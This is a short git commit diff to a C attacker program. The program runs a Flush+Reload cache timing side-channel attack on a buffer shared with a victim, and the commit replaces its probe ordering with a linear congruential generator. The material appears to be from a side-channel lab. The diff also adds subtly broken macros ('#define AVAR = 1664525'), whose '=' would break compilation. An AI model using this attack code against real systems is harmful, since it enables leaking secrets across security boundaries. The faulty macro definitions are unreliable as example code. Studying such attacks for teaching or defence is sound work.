ver 0.4.0 new random generator
This commit is contained in:
parent
4488725666
commit
5bc44b5a59
|
@ -10,10 +10,13 @@
|
||||||
|
|
||||||
#define CACHE_HIT_THRESHOLD 200
|
#define CACHE_HIT_THRESHOLD 200
|
||||||
#define WAIT_TIME 1000
|
#define WAIT_TIME 1000
|
||||||
|
#define AVAR = 1664525
|
||||||
|
#define CVAR = 1013904223
|
||||||
int main() {
|
int main() {
|
||||||
int index = -1;
|
int index = -1;
|
||||||
int flag = -1;
|
int flag = -1;
|
||||||
CYCLES time = -1;
|
CYCLES time = -1;
|
||||||
|
int offset = 0;
|
||||||
// buf is shared between the attacker and the victim
|
// buf is shared between the attacker and the victim
|
||||||
char *buf = allocate_shared_buffer();
|
char *buf = allocate_shared_buffer();
|
||||||
|
|
||||||
|
@ -22,10 +25,11 @@ int main() {
|
||||||
clflush((ADDR_PTR)buf + i * 128);
|
clflush((ADDR_PTR)buf + i * 128);
|
||||||
}
|
}
|
||||||
for(int i = 0; i < WAIT_TIME; i++);
|
for(int i = 0; i < WAIT_TIME; i++);
|
||||||
for(int i = 712; i < 10000; i++) {
|
for(int i = 0; i < 10000; i++) {
|
||||||
time = measure_one_block_access_time((ADDR_PTR)buf + (i*i) / 1024 % 1024 * 128);
|
offset = (AVAR * offset + CVAR) % 1024;
|
||||||
|
time = measure_one_block_access_time((ADDR_PTR)buf + offset * 128);
|
||||||
if(time < CACHE_HIT_THRESHOLD) {
|
if(time < CACHE_HIT_THRESHOLD) {
|
||||||
flag = (i*i) / 1024 % 1024;
|
flag = offset;
|
||||||
index = i;
|
index = i;
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
|
Loading…
Reference in New Issue